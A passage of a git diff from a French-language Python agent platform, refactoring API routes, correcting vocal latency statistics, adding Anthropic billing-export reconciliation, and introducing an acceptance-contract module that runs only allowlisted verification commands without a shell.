APIRouter, HTTPException from pydantic import BaseModel -from typing import List, Optional +from core.safe_io import file_lock, safe_json_write # [P1-2.3] from core.worker_registry import get_worker_registry -from core.safe_io import safe_json_write, file_lock # [P1-2.3] logger = logging.getLogger(__name__) @@ -33,8 +33,8 @@ class WorkerRegisterBody(BaseModel): name: str host: str port: int = 8780 - capabilities: List[str] = [] - description: Optional[str] = None + capabilities: list[str] = [] + description: str | None = None # ────────────────────────────────────────────────────────────────── @@ -46,7 +46,7 @@ def _load_workers_json() -> list: if os.path.exists(WORKERS_CONFIG): try: with file_lock(WORKERS_CONFIG): # [P1-2.3] lecture hors écriture concurrente - with open(WORKERS_CONFIG, 'r', encoding='utf-8') as f: + with open(WORKERS_CONFIG, encoding='utf-8') as f: data = json.load(f) return data.get("workers", []) except Exception as e: @@ -99,7 +99,7 @@ def route_register_worker(body: WorkerRegisterBody): """Enregistre un nouveau worker Swarm (persistance + mémoire).""" try: registry = get_worker_registry() - + # 1. Enregistrement en mémoire registry.register( name=body.name, @@ -107,13 +107,13 @@ def route_register_worker(body: WorkerRegisterBody): port=body.port, capabilities=body.capabilities ) - + # 2. Persistance dans le fichier workers.json workers = _load_workers_json() - + # Supprimer le doublon s'il existe déjà dans la liste workers = [w for w in workers if w.get("name") != body.name] - + # Ajouter le nouveau worker_entry = { "name": body.name, @@ -123,7 +123,7 @@ def route_register_worker(body: WorkerRegisterBody): } if body.description: worker_entry["description"] = body.description - + workers.append(worker_entry) _save_workers_json(workers) @@ -138,10 +138,10 @@ def route_unregister_worker(name: str): """Retire un worker Swarm (persistance + mémoire).""" try: registry = get_worker_registry() - + # 1. Désenregistrement en mémoire registry.unregister(name) - + # 2. Retrait du fichier workers.json workers = _load_workers_json() workers = [w for w in workers if w.get("name") != name] diff --git a/api/routes/vocal.py b/api/routes/vocal.py index 7dff61b..fc3f780 100644 --- a/api/routes/vocal.py +++ b/api/routes/vocal.py @@ -40,6 +40,22 @@ def _rows(query: str, params: tuple = ()) -> list[dict]: return [] +def _arrondi(valeur: float | None) -> float | None: + return round(valeur, 1) if valeur is not None else None + + +def _percentile(valeurs_triees: list[float], p: int) -> float | None: + """Percentile par rang le plus proche, sur une liste DÉJÀ triée. + + [#T270] Pas d'interpolation : sur des échantillons de quelques dizaines de + points, elle inventerait une précision que la donnée n'a pas. + """ + if not valeurs_triees: + return None + rang = min(len(valeurs_triees) - 1, int(len(valeurs_triees) * p / 100)) + return round(valeurs_triees[rang], 1) + + @router.get("/stats") async def vocal_stats(period: str = Query("7d", description="1h, 24h, 7d, 30d")): """ @@ -61,14 +77,25 @@ async def vocal_stats(period: str = Query("7d", description="1h, 24h, 7d, 30d")) (since_iso,), ) - latency = _rows( - "SELECT AVG(latency_ms) AS avg_ms, MIN(latency_ms) AS min_ms, MAX(latency_ms) AS max_ms " - "FROM vocal_audit_log WHERE created_at > ? AND phase = 'response' AND latency_ms IS NOT NULL", - (since_iso,), - ) + # [#T270] `latency_ms > 0` et NON `IS NOT NULL` : une latence à 0 signifie + # « jamais mesurée », pas « instantanée ». Le filtre précédent laissait passer + # 394 zéros sur 420 réponses en prod et annonçait 123 ms de moyenne là où la + # vraie valeur est 1991 ms — un facteur 16, dans le sens flatteur. Un chiffre + # faux qui rassure est pire que pas de chiffre du tout. + mesures = [ + r["latency_ms"] + for r in _rows( + "SELECT latency_ms FROM vocal_audit_log " + "WHERE created_at > ? AND phase = 'response' AND latency_ms > 0 " + "ORDER BY latency_ms", + (since_iso,), + ) + ] by_mode = _rows( - "SELECT source_mode, COUNT(*) AS n, AVG(latency_ms) AS avg_ms " + "SELECT source_mode, COUNT(*) AS n, " + "SUM(CASE WHEN latency_ms > 0 THEN 1 ELSE 0 END) AS n_mesurees, " + "AVG(CASE WHEN latency_ms > 0 THEN latency_ms END) AS avg_ms " "FROM vocal_audit_log WHERE created_at > ? AND phase = 'response' " "GROUP BY source_mode ORDER BY n DESC", (since_iso,), @@ -88,17 +115,25 @@ async def vocal_stats(period: str = Query("7d", description="1h, 24h, 7d, 30d")) ) t = totals[0] if totals else {} - lat = latency[0] if latency else {} + reponses = t.get("responses") or 0 return { "period": period, "total_events": t.get("n") or 0, - "total_exchanges": t.get("responses") or 0, + "total_exchanges": reponses, "tts_enabled_events": t.get("tts_on") or 0, + # [#T270] `echantillon` / `non_mesurees` rendent la couverture visible : + # une moyenne calculée sur 26 échanges de 420 ne veut pas dire la même + # chose qu'une moyenne calculée sur 420. Sans ce dénominateur, l'IHM + # affichait un chiffre sans moyen de savoir ce qu'il valait. "latency_ms": { - "avg": round(lat["avg_ms"], 1) if lat.get("avg_ms") is not None else None, - "min": round(lat["min_ms"], 1) if lat.get("min_ms") is not None else None, - "max": round(lat["max_ms"], 1) if lat.get("max_ms") is not None else None, + "avg": _arrondi(sum(mesures) / len(mesures)) if mesures else None, + "min": _arrondi(mesures[0]) if mesures else None, + "max": _arrondi(mesures[-1]) if mesures else None, + "p50": _percentile(mesures, 50), + "p90": _percentile(mesures, 90), + "echantillon": len(mesures), + "non_mesurees": max(0, reponses - len(mesures)), }, "by_mode": by_mode, "by_device": by_device, @@ -152,6 +187,9 @@ async def vocal_config(): "executor_model": config.get("executor_model"), "semantic_cache": config.get("semantic_cache", {}), "secrets_present": { + # Diagnostic de présence (T239) : on teste si AU MOINS UNE des deux + # clés existe — pas la valeur du token. Volontairement hors + # accesseur get_ha_token() (« cette clé précise existe-t-elle »). "HASS_TOKEN": bool(os.environ.get("HASS_TOKEN") or os.environ.get("HA_TOKEN")), "GEMINI_API_KEY": bool(os.environ.get("GEMINI_API_KEY")), "GEMINI_PAYANT_API_KEY": bool(os.environ.get("GEMINI_PAYANT_API_KEY")), diff --git a/api/routes/whatsapp.py b/api/routes/whatsapp.py index d97bd21..d51a073 100644 --- a/api/routes/whatsapp.py +++ b/api/routes/whatsapp.py @@ -2,11 +2,11 @@ api/routes/whatsapp.py — Routes de webhook WhatsApp pour Twilio et Meta Cloud API. """ -import os import hmac import logging -from typing import Optional -from fastapi import APIRouter, Request, Form, BackgroundTasks, HTTPException +import os + +from fastapi import APIRouter, BackgroundTasks, Form, HTTPException, Request logger = logging.getLogger(__name__) @@ -23,7 +23,7 @@ def _get_verify_token() -> str: return os.getenv("WHATSAPP_WEBHOOK_VERIFY_TOKEN", "").strip() -def _token_matches(provided: Optional[str], expected: str) -> bool: +def _token_matches(provided: str | None, expected: str) -> bool: """Comparaison à temps constant (anti-timing) ; False si l'un est vide.""" if not provided or not expected: return False @@ -38,34 +38,34 @@ async def process_incoming_whatsapp_message(sender: str, message_text: str): Traite la commande WhatsApp reçue en tâche de fond pour éviter les timeouts HTTP. """ from core.whatsapp_service import WhatsAppService - + service = WhatsAppService() - + # 1. Vérification de sécurité authorized_number = os.getenv("WHATSAPP_USER_PHONE_NUMBER", "").strip().replace("+", "").replace("whatsapp:", "") clean_sender = sender.replace("+", "").replace("whatsapp:", "").strip() - + if not authorized_number: logger.warning("[WHATSAPP] Aucun numéro autorisé configuré dans WHATSAPP_USER_PHONE_NUMBER.") await service.send_message("Erreur système : aucun administrateur WhatsApp configuré.", to=sender) return - + if clean_sender != authorized_number: logger.warning(f"[WHATSAPP] Requête refusée de {sender} (non autorisé).") await service.send_message("Accès refusé. Vous n'êtes pas autorisé à interagir avec cet agent.", to=sender) return - + # 2. Notification de début await service.send_message("🤖 Demande reçue. Analyse et planification en cours...", to=sender) - + # 3. Exécution de la tâche try: - from gui_server import execute_chat, ExecuteRequestBody + from gui_server import ExecuteRequestBody, execute_chat body = ExecuteRequestBody(user_prompt=message_text) - + # Exécution du chat (synchrone du point de vue du moteur, asynchrone pour FastAPI) result = await execute_chat(body) - + # 4. Formater et envoyer le résultat if result.get("status") == "completed": response_msg = result.get("response", "✅ Tâche terminée avec succès.") @@ -76,7 +76,7 @@ async def process_incoming_whatsapp_message(sender: str, message_text: str): else: error_msg = result.get("error", "Une erreur inconnue est survenue lors de l'exécution.") await service.send_message(f"❌ Échec de l'exécution :\n\n{error_msg}", to=sender) - + except Exception as e: logger.error(f"[WHATSAPP] Erreur lors du traitement de la tâche : {e}") await service.send_message(f"❌ Erreur système lors de l'exécution : {str(e)}", to=sender) @@ -95,7 +95,7 @@ async def verify_meta_webhook(request: Request): mode = params.get("hub.mode") token = params.get("hub.verify_token") challenge = params.get("hub.challenge") - + verify_token = _get_verify_token() if not verify_token: logger.error("[WHATSAPP] WHATSAPP_WEBHOOK_VERIFY_TOKEN non configuré : validation refusée.") @@ -115,7 +115,7 @@ async def verify_meta_webhook(request: Request): async def receive_meta_message( request: Request, background_tasks: BackgroundTasks, - token: Optional[str] = None + token: str | None = None ): """ Réceptionne les messages poussés par l'API Meta Cloud. @@ -134,18 +134,18 @@ async def receive_meta_message( try: body = await request.json() logger.info(f"[WHATSAPP] Webhook Meta reçu : {body}") - + # Navigation sécurisée dans la structure JSON de Meta entry = body.get("entry", [])[0] change = entry.get("changes", [])[0] value = change.get("value", {}) - + # Vérifier s'il s'agit d'un nouveau message messages = value.get("messages", []) if messages: msg_obj = messages[0] sender = msg_obj.get("from") # ex: "33612345678" - + # S'assurer que c'est un message textuel if msg_obj.get("type") == "text": message_text = msg_obj.get("text", {}).get("body", "") @@ -154,10 +154,10 @@ async def receive_meta_message( background_tasks.add_task(process_incoming_whatsapp_message, sender, message_text) else: logger.info(f"[WHATSAPP] Type de message Meta ignoré : {msg_obj.get('type')}") - + except Exception as e: logger.error(f"[WHATSAPP] Erreur de traitement du webhook Meta : {e}") - + return {"status": "ok"} @@ -168,7 +168,7 @@ async def receive_twilio_message( From: str = Form(...), Body: str = Form(...), To: str = Form(...), - token: Optional[str] = None + token: str | None = None ): """ Réceptionne les messages poussés par Twilio (format Form URL Encoded). @@ -185,13 +185,13 @@ async def receive_twilio_message( raise HTTPException(status_code=403, detail="Invalid security token") logger.info(f"[WHATSAPP] Webhook Twilio reçu de {From} vers {To} : '{Body}'") - + # Nettoyer l'identifiant "whatsapp:" inséré par Twilio sender = From.replace("whatsapp:", "").strip() - + if sender and Body: logger.info(f"[WHATSAPP] Traitement du message Twilio de {sender} : '{Body}'") background_tasks.add_task(process_incoming_whatsapp_message, sender, Body) - + return {"status": "queued"} diff --git a/api/routes/workflows.py b/api/routes/workflows.py index 8b47112..efb5983 100644 --- a/api/routes/workflows.py +++ b/api/routes/workflows.py @@ -8,11 +8,14 @@ @version 1.0.0 — Extraction depuis gui_server.py """ -import os import json import logging +import os + from fastapi import APIRouter, HTTPException +from core.safe_io import safe_json_write + logger = logging.getLogger("api.workflows") router = APIRouter(prefix="/api/workflows", tags=["Workflows"]) @@ -31,7 +34,7 @@ def get_workflows(): """Récupère le workflow sauvegardé depuis agents_workflows.json.""" if os.path.exists(WORKFLOWS_FILE): try: - with open(WORKFLOWS_FILE, 'r', encoding='utf-8') as f: + with open(WORKFLOWS_FILE, encoding='utf-8') as f: return json.load(f) except Exception as e: raise HTTPException(status_code=500, detail=f"Erreur de lecture du workflow: {str(e)}") @@ -42,8 +45,7 @@ def get_workflows(): def save_workflows(body: dict): """Sauvegarde un workflow dans agents_workflows.json.""" try: - with open(WORKFLOWS_FILE, 'w', encoding='utf-8') as f: - json.dump(body, f, indent=2, ensure_ascii=False) + safe_json_write(WORKFLOWS_FILE, body) return {"message": "Workflow sauvegardé avec succès.", "nodes": len(body.get("nodes", []))} except Exception as e: raise HTTPException(status_code=500, detail=f"Erreur de sauvegarde du workflow: {str(e)}") @@ -73,14 +75,13 @@ def load_workflow_by_name(name: str): raise HTTPException(status_code=404, detail=f"Le workflow '{name}' n'existe pas.") try: - with open(file_path, 'r', encoding='utf-8') as f: + with open(file_path, encoding='utf-8') as f: workflow_data = json.load(f) - with open(WORKFLOWS_FILE, 'w', encoding='utf-8') as active_f: - json.dump(workflow_data, active_f, indent=2, ensure_ascii=False) + safe_json_write(WORKFLOWS_FILE, workflow_data) - from core.workflow_bridge import WorkflowBridge from agents.planner import _workflow_bridge as planner_bridge + from core.workflow_bridge import WorkflowBridge planner_bridge.reload() WorkflowBridge().reload() @@ -97,14 +98,11 @@ def save_workflow_by_name(name: str, body: dict): file_path = os.path.join(WORKFLOWS_DIR, f"{name}.json") try: - with open(file_path, 'w', encoding='utf-8') as f: - json.dump(body, f, indent=2, ensure_ascii=False) + safe_json_write(file_path, body) + safe_json_write(WORKFLOWS_FILE, body) - with open(WORKFLOWS_FILE, 'w', encoding='utf-8') as active_f: - json.dump(body, active_f, indent=2, ensure_ascii=False) - - from core.workflow_bridge import WorkflowBridge from agents.planner import _workflow_bridge as planner_bridge + from core.workflow_bridge import WorkflowBridge planner_bridge.reload() WorkflowBridge().reload() @@ -137,8 +135,8 @@ def delete_workflow_by_name(name: str): def apply_workflow(): """Recharge le WorkflowBridge pour appliquer les modifications.""" try: - from core.workflow_bridge import WorkflowBridge from agents.planner import _workflow_bridge as planner_bridge + from core.workflow_bridge import WorkflowBridge planner_bridge.reload() bridge = WorkflowBridge() diff --git a/api/services/billing_service.py b/api/services/billing_service.py index b76527d..890d212 100644 --- a/api/services/billing_service.py +++ b/api/services/billing_service.py @@ -4,10 +4,12 @@ Extrait de gui_server.py (A8 Audit V5.5). """ -import os -import json import asyncio +import csv +import json import logging +import os +from datetime import datetime from core import token_tracker @@ -22,6 +24,25 @@ "last_sync": None } +# Détail de conso complet exporté par console.anthropic.com (CSV par modèle/jour) — +# conservé en local pour audit manuel, jamais commité (cf. .gitignore). +_ANTHROPIC_EXPORT_DIR = os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), + "data", "anthropic_usage_exports", +) + + +def _save_anthropic_csv_export(csv_content: str) -> str: + """Sauvegarde l'export CSV Anthropic (détail coût par modèle/jour) sur disque, horodaté.""" + from datetime import datetime + os.makedirs(_ANTHROPIC_EXPORT_DIR, exist_ok=True) + filename = f"anthropic_usage_{datetime.now().strftime('%Y%m%d_%H%M%S')}.csv" + filepath = os.path.join(_ANTHROPIC_EXPORT_DIR, filename) + with open(filepath, "w", encoding="utf-8") as f: + f.write(csv_content) + logger.info(f"[BILLING] Export CSV Anthropic sauvegardé : {filepath}") + return filepath + async def handle_scraper_success(stdout_str: str): """Parse et enregistre les résultats du scraper de facturation.""" @@ -58,6 +79,17 @@ async def handle_scraper_success(stdout_str: str): claude_summary_text=claude_text ) + anthropic = result_json.get("anthropic") + if anthropic: + token_tracker.update_real_billing(anthropic_api_cost_usd=anthropic.get("cost_usd")) + csv_export = anthropic.get("csv_export") + if csv_export: + _save_anthropic_csv_export(csv_export) + + gemini_sub = result_json.get("gemini_subscription") + if gemini_sub: + token_tracker.update_real_billing(gemini_subscription_summary=gemini_sub.get("summary_text")) + billing_sync_state["status"] = "success" billing_sync_state["message"] = "Synchronisation réussie !" billing_sync_state["cost"] = cost_raw @@ -135,3 +167,246 @@ async def run_billing_sync_flow(): logger.error(f"Erreur lors de la synchronisation de facturation: {e}") billing_sync_state["status"] = "error" billing_sync_state["message"] = str(e) + + +# ────────────────────────────────────────────────────────────────── +# Réconciliation coûts RÉELS (exports CSV console.anthropic.com) vs +# coûts ESTIMÉS (token_usage.cost_usd, tarifs du catalogue) — #T182 +# ────────────────────────────────────────────────────────────────── + + +def _normalize_header(cell: str) -> str: + """Normalise une cellule d'en-tête CSV pour une reconnaissance tolérante. + + Ex : "Date (UTC)" → "date utc", "Cost (USD)" → "cost usd". Les variantes + d'en-tête de l'export console (parenthèses, casse, espaces) se comparent + ainsi sur leur terme significatif. + """ + return " ".join(cell.strip().lower().replace("(", " ").replace(")", " ").split()) + + +def _parse_csv_date(raw: str) -> str | None: + """Parse une date 'YYYY-MM-DD' (UTC, cohérent avec l'en-tête 'Date (UTC)').""" + try: + return datetime.strptime(raw.strip(), "%Y-%m-%d").date().isoformat() + except ValueError: + return None + + +def _parse_csv_cost(raw: str) -> float | None: + """Parse un montant CSV : '1.50', '0,75', '$ 12.34', '1,234.56'. + + Retourne None si la cellule n'est pas un nombre lisible (ligne à ignorer). + """ + cleaned = raw.strip().replace("$", "").replace("€", "").replace(" ", "").replace("\u00a0", "") + if not cleaned: + return None + if "," in cleaned and "." in cleaned: + cleaned = cleaned.replace(",", "") # '1,234.56' → séparateur de milliers + elif "," in cleaned: + cleaned = cleaned.replace(",", ".") # '0,75' → virgule décimale + try: + return float(cleaned) + except ValueError: + return None + + +def _parse_anthropic_export_csv(csv_content: str, filename: str) -> tuple[dict[str, float], int, int]: + """Parse un export CSV console.anthropic.com (détail coût par modèle/jour). + + L'en-tête est DÉTECTÉ (une colonne date + une colonne coût reconnues), pas + supposé en ligne 1 : l'export peut être précédé de lignes de méta (titre, + organisation…). Les lignes de données illisibles (champs manquants, date ou + coût non parsables) sont ignorées individuellement et journalisées — jamais + d'exception remontée. + + Retourne (coûts réels agrégés par jour UTC, nb de lignes valides, nb de + lignes ignorées). + """ + rows_by_day: dict[str, float] = {} + valid_rows = 0 + skipped = 0 + + header_idx: dict[str, int] | None = None + for row in csv.reader(csv_content.splitlines()): + if not row or not any(cell.strip() for cell in row): + continue # ligne vide : sans objet + norm = [_normalize_header(cell) for cell in row] + if header_idx is None: + date_col = next((j for j, n in enumerate(norm) if n.startswith("date") or n.startswith("timestamp")), None) + cost_col = next((j for j, n in enumerate(norm) if n.startswith("cost")), None) + if date_col is not None and cost_col is not None: + header_idx = {"date": date_col, "cost": cost_col} + continue + # Ligne de méta précédant l'en-tête (titre, période, org…) : sans objet. + continue + if max(header_idx.values()) >= len(row): + skipped += 1 + logger.warning(f"[BILLING] Ligne ignorée ({filename}, {skipped}): champs manquants.") + continue + day = _parse_csv_date(row[header_idx["date"]]) + cost = _parse_csv_cost(row[header_idx["cost"]]) + if day is None or cost is None: + skipped += 1 + logger.warning(f"[BILLING] Ligne ignorée ({filename}, {skipped}): date ou coût illisible.") + continue + rows_by_day[day] = rows_by_day.get(day, 0.0) + cost + valid_rows += 1 + if header_idx is None: + logger.warning(f"[BILLING] Export ignoré ({filename}): aucune ligne d'en-tête reconnue (date + coût).") + return rows_by_day, valid_rows, skipped + + +def _estimated_anthropic_costs_by_day() -> tuple[dict[str, float], int]: + """Somme des coûts ESTIMÉS (token_usage.cost_usd) par jour UTC, modèles Anthropic. + + Filtre `model LIKE 'claude-%'` : tous les modèles de l'API Anthropic du + catalogue (claude-sonnet-*, claude-opus-*, claude-haiku-*, claude-fable-*) + commencent par ce préfixe (cf. data/model_inventory.json). + `date(timestamp, 'unixepoch')` agrège en UTC, cohérent avec la colonne + "Date (UTC)" des exports console. + + Retourne (coûts par jour, nb de lignes token_usage retenues). + """ + from core.runtime_db import get_connection + conn = get_connection() + try: + rows = conn.execute( + """ + SELECT date(timestamp, 'unixepoch') AS day, COUNT(*) AS n, COALESCE(SUM(cost_usd), 0.0) AS cost + FROM token_usage + WHERE model LIKE 'claude-%' + GROUP BY day + """ + ).fetchall() + finally: + conn.close() + return {day: float(cost) for day, n, cost in rows}, sum(n for day, n, cost in rows) + + +def _no_exports_response() -> dict: + """Réponse contractuelle quand aucun export CSV n'est disponible. + + Aucun champ numérique : un montant absent ne doit jamais se lire comme un + écart nul (un zéro se lirait comme « aucun écart »). + """ + return { + "status": "no_exports", + "period": "day", + "currency": "USD", + "message": ( + "Aucun export de coûts Anthropic disponible dans " + f"{_ANTHROPIC_EXPORT_DIR} : lancez la sync console.anthropic.com " + "(POST /api/billing/sync) pour générer un CSV." + ), + } + + +def reconcile_anthropic_costs(export_dir: str | None = None) -> dict: + """Réconcilie coûts RÉELS (CSV export console) et coûts ESTIMÉS (token_usage). + + Période : JOUR (UTC) — granularité native de l'export console Anthropic + (une ligne par jour et modèle) et la plus fine commune avec token_usage + (timestamp Unix, agrégeable par jour sans perte). Un écart quotidien est + actionnable (jour de dérive : tarif catalogue périmé, coût de cache…), là + où un total mensuel lisserait la dérive. + + L'union des jours (CSV ∪ BDD) révèle aussi les jours sans contrepartie + d'un côté ou de l'autre. L'écart relatif est basé sur le RÉEL (vérité + terrain) et vaut None si le réel est nul mais l'estimé non nul (relatif + mathématiquement indéfini — un chiffre absent n'est pas un chiffre nul). + + Statuts : "ok" (écarts calculés), "no_exports" (aucun CSV présent), + "no_data" (CSV présents mais aucun contenu exploitable). + """ + export_dir = export_dir or _ANTHROPIC_EXPORT_DIR + if not os.path.isdir(export_dir): + return _no_exports_response() + csv_files = sorted(f for f in os.listdir(export_dir) if f.lower().endswith(".csv")) + if not csv_files: + return _no_exports_response() + + real_by_day: dict[str, float] = {} + export_details: list[dict] = [] + total_valid_rows = 0 + for filename in csv_files: + filepath = os.path.join(export_dir, filename) + try: + with open(filepath, encoding="utf-8-sig") as f: + content = f.read() + except OSError as e: + logger.warning(f"[BILLING] Export CSV illisible ({filename}) : {e}") + export_details.append({"file": filename, "rows_parsed": 0, "rows_skipped": 0}) + continue + parsed, valid_rows, skipped = _parse_anthropic_export_csv(content, filename) + for day, cost in parsed.items(): + real_by_day[day] = real_by_day.get(day, 0.0) + cost + total_valid_rows += valid_rows + export_details.append({"file": filename, "rows_parsed": valid_rows, "rows_skipped": skipped}) + + if total_valid_rows == 0: + # Des fichiers existent mais rien d'exploitable : on ne renvoie pas un + # « écart » vide qui se lirait comme un écart nul. + return { + "status": "no_data", + "period": "day", + "currency": "USD", + "message": ( + f"{len(csv_files)} export(s) présent(s) dans {export_dir} mais aucun contenu " + "exploitable (lignes malformées ou en-têtes inconnus — voir logs)." + ), + "export_files": export_details, + } + + estimated_by_day, db_rows_used = _estimated_anthropic_costs_by_day() + + days = sorted(set(real_by_day) | set(estimated_by_day)) + periods: list[dict] = [] + total_real = 0.0 + total_estimated = 0.0 + for day in days: + real = real_by_day.get(day, 0.0) + estimated = estimated_by_day.get(day, 0.0) + total_real += real + total_estimated += estimated + abs_diff = real - estimated + if real != 0: + rel_diff_pct = round(abs_diff / real * 100, 2) + elif estimated == 0: + rel_diff_pct = 0.0 + else: + rel_diff_pct = None # réel nul, estimé non nul : relatif indéfini + periods.append({ + "date": day, + "real_cost_usd": round(real, 6), + "estimated_cost_usd": round(estimated, 6), + "abs_diff_usd": round(abs_diff, 6), + "rel_diff_pct": rel_diff_pct, + }) + + total_abs_diff = total_real - total_estimated + if total_real != 0: + total_rel_diff_pct = round(total_abs_diff / total_real * 100, 2) + elif total_estimated == 0: + total_rel_diff_pct = 0.0 + else: + total_rel_diff_pct = None + + return { + "status": "ok", + "period": "day", + "currency": "USD", + "message": ( + "Réconciliation coûts réels (CSV console Anthropic) vs estimés " + "(token_usage) — période journalière (UTC)." + ), + "periods": periods, + "totals": { + "real_cost_usd": round(total_real, 6), + "estimated_cost_usd": round(total_estimated, 6), + "abs_diff_usd": round(total_abs_diff, 6), + "rel_diff_pct": total_rel_diff_pct, + }, + "export_files": export_details, + "db_rows_used": db_rows_used, + } diff --git a/core/__init__.py b/core/__init__.py index 8b70d9f..35951c4 100644 --- a/core/__init__.py +++ b/core/__init__.py @@ -1,7 +1,8 @@ """Package core — expose la version de l'application moteur_agents.""" import sys +from importlib.metadata import PackageNotFoundError +from importlib.metadata import version as _pkg_version from pathlib import Path -from importlib.metadata import version as _pkg_version, PackageNotFoundError if sys.version_info >= (3, 11): import tomllib diff --git a/core/acceptance_contract.py b/core/acceptance_contract.py new file mode 100644 index 0000000..36f2140 --- /dev/null +++ b/core/acceptance_contract.py @@ -0,0 +1,344 @@ +""" +core/acceptance_contract.py — Contrat d'acceptation vérifiable (#T253). + +Aujourd'hui la boucle de revue (`core/review_loop.py`) s'arrête sur un +`quality_score` produit par un LLM reviewer : un jugement, pas une preuve. Un +modèle complaisant valide du code qui ne compile pas, un modèle sévère fait +boucler une tâche déjà correcte — et dans les deux cas rien n'est reproductible. + +Idée reprise de l'« exécution pilotée par contrat » d'OpenFox (le README v2.0 +parle de critères d'acceptation servant de contrat immuable, vérifiés +itérativement jusqu'à satisfaction) : le Planner exprime la réussite en +critères **mécaniquement vérifiables**, et c'est leur exécution — pas l'avis +d'un modèle — qui décide si le travail est fini. + +Trois types, volontairement peu nombreux : +- `commande` : la commande sort en code 0 (ex. `pytest tests/unit -q`) ; +- `fichier_contient`: le fichier existe et contient le motif attendu ; +- `fichier_existe` : le fichier existe. + +Sécurité — deux garde-fous, parce que ces critères sont écrits par un LLM et +exécutés **sans qu'un agent ne décide** : +1. seules des commandes de VÉRIFICATION sont exécutées (liste de préfixes + ci-dessous) ; tout le reste est rapporté « non vérifiable », jamais lancé, + et jamais compté comme satisfait ; +2. exécution sans shell (`shlex.split`, `shell=False`) : ni pipe, ni + redirection, ni chaînage — un critère ne peut pas devenir un script. + +Les chemins passent par le même résolveur d'espace de travail que les outils +d'édition (`tools.system._resolve_within_workspace`) : une seule politique de +frontière, pas deux. La lecture, elle, est faite en direct et NON via +`read_file`, dont le cache sémantique peut résumer le contenu — un `contient` +sur un texte résumé donnerait un faux négatif silencieux. +""" + +import logging +import ntpath +import os +import re +import shlex +import subprocess +from dataclasses import dataclass, field + +logger = logging.getLogger(__name__) + +# Clé sous laquelle le Planner transporte son contrat dans les metadata du StateUpdate. +CLE_CONTRAT = "contrat_acceptation" + +TYPES_CONNUS = ("commande", "fichier_contient", "fichier_existe") + +# Délai maximum d'une commande de vérification (une suite de tests peut être longue). +TIMEOUT_COMMANDE_S = 180 + +# Commandes de vérification autorisées, par préfixe de tokens. Tout ce qui +# n'est pas ici n'est pas exécuté — on ne "durcit" pas la liste au fil de l'eau +# sans y réfléchir : chaque ajout doit rester une commande qui CONSTATE un état, +# jamais une commande qui le modifie. +PREFIXES_AUTORISES: tuple[tuple[str, ...], ...] = ( + ("pytest",), + ("python", "-m", "pytest"), + ("python3", "-m", "pytest"), + ("python", "-m", "py_compile"), + ("python3", "-m", "py_compile"), + ("python", "-m", "compileall"), + ("python3", "-m", "compileall"), + ("ruff", "check"), + ("ruff", "format", "--check"), + ("mypy",), + ("esphome", "config"), + ("node", "--check"), + ("tsc",), + ("npx", "tsc"), + ("npm", "run"), + ("npm", "test"), + ("git", "status"), + ("git", "diff"), +) + + +@dataclass(frozen=True) +class Critere: + """Un critère d'acceptation, normalisé.""" + + type: str + valeur: str + attendu: str | None = None + description: str = "" + + def libelle(self) -> str: + if self.description: + return self.description + if self.type == "commande": + return f"la commande `{self.valeur}` réussit" + if self.type == "fichier_contient": + return f"`{self.valeur}` contient « {self.attendu} »" + return f"`{self.valeur}` existe" + + +@dataclass(frozen=True) +class ResultatCritere: + """Verdict d'un critère. `satisfait=None` = non vérifiable (ni vrai ni faux).""" + + critere: Critere + satisfait: bool | None + detail: str + + +@dataclass +class RapportContrat: + """Verdict d'ensemble du contrat.""" + + resultats: list[ResultatCritere] = field(default_factory=list) + + @property + def verifiables(self) -> list[ResultatCritere]: + return [r for r in self.resultats if r.satisfait is not None] + + @property + def echecs(self) -> list[ResultatCritere]: + return [r for r in self.resultats if r.satisfait is False] + + @property + def non_verifiables(self) -> list[ResultatCritere]: + return [r for r in self.resultats if r.satisfait is None] + + @property + def determinable(self) -> bool: + """ + Vrai si le contrat peut trancher. Un contrat vide, ou dont AUCUN critère + n'est vérifiable, ne doit pas décider à la place de la revue LLM : dans + ce cas l'appelant garde son comportement d'avant. + """ + return bool(self.verifiables) + + @property + def satisfait(self) -> bool: + return self.determinable and not self.echecs + + def resume(self) -> str: + """Compte rendu injectable dans le contexte de correction d'un agent.""" + lignes = [] + for r in self.resultats: + marque = {True: "✅", False: "❌", None: "⚠️"}[r.satisfait] + lignes.append(f"{marque} {r.critere.libelle()} — {r.detail}") + entete = ( + f"CONTRAT D'ACCEPTATION : {len(self.echecs)} critère(s) en échec sur " + f"{len(self.verifiables)} vérifiable(s)" + ) + if self.non_verifiables: + entete += f" ({len(self.non_verifiables)} non vérifiable(s), non comptés)" + return entete + "\n" + "\n".join(lignes) + + +def normaliser_criteres(bruts) -> list[Critere]: + """ + Convertit la sortie JSON du Planner en critères exploitables. + + Tolérant par nécessité (c'est un LLM qui écrit) mais jamais silencieux : + une entrée inutilisable est journalisée et écartée, pas devinée. + """ + if not bruts: + return [] + if isinstance(bruts, dict): + bruts = [bruts] + if not isinstance(bruts, list): + logger.warning(f"[CONTRAT] Critères ignorés : type inattendu {type(bruts).__name__}") + return [] + + criteres = [] + for brut in bruts: + if not isinstance(brut, dict): + logger.warning(f"[CONTRAT] Critère ignoré (pas un objet) : {brut!r}") + continue + type_critere = str(brut.get("type") or "").strip().lower() + valeur = str(brut.get("valeur") or "").strip() + if not valeur: + logger.warning(f"[CONTRAT] Critère ignoré (valeur vide) : {brut!r}") + continue + if type_critere not in TYPES_CONNUS: + # Type inconnu : gardé comme non vérifiable plutôt que jeté, pour + # qu'il apparaisse dans le rapport au lieu de disparaître. + logger.warning(f"[CONTRAT] Type de critère inconnu : {type_critere!r}") + attendu = brut.get("attendu") + criteres.append(Critere( + type=type_critere, + valeur=valeur, + attendu=str(attendu) if attendu is not None else None, + description=str(brut.get("description") or "").strip(), + )) + return criteres + + +def _commande_style_windows(commande: str) -> bool: + """Vrai si la commande commence par un chemin absolu Windows (`C:\\...`). + + Nécessaire hors Windows aussi : la CI Linux doit reconnaître les binaires + Windows dans la liste blanche sans que `shlex` POSIX mange les antislashs. + """ + tete = commande.strip().lstrip("\"'") + return len(tete) >= 3 and tete[0].isalpha() and tete[1] == ":" and tete[2] == "\\" + + +def _decouper(commande: str) -> list[str] | None: + """ + Découpe une commande en arguments, `None` si elle est indécoupable. + + Sous Windows, `shlex.split` en mode POSIX traite l'antislash comme un + caractère d'échappement : `C:\\Python\\python.exe` devient `C:Pythonpython.exe`, + donc un chemin absolu ne serait ni reconnu par la liste blanche ni exécutable. + On passe donc en mode non-POSIX là-bas (et pour toute commande au style + Windows, même sous Linux), en retirant nous-mêmes les 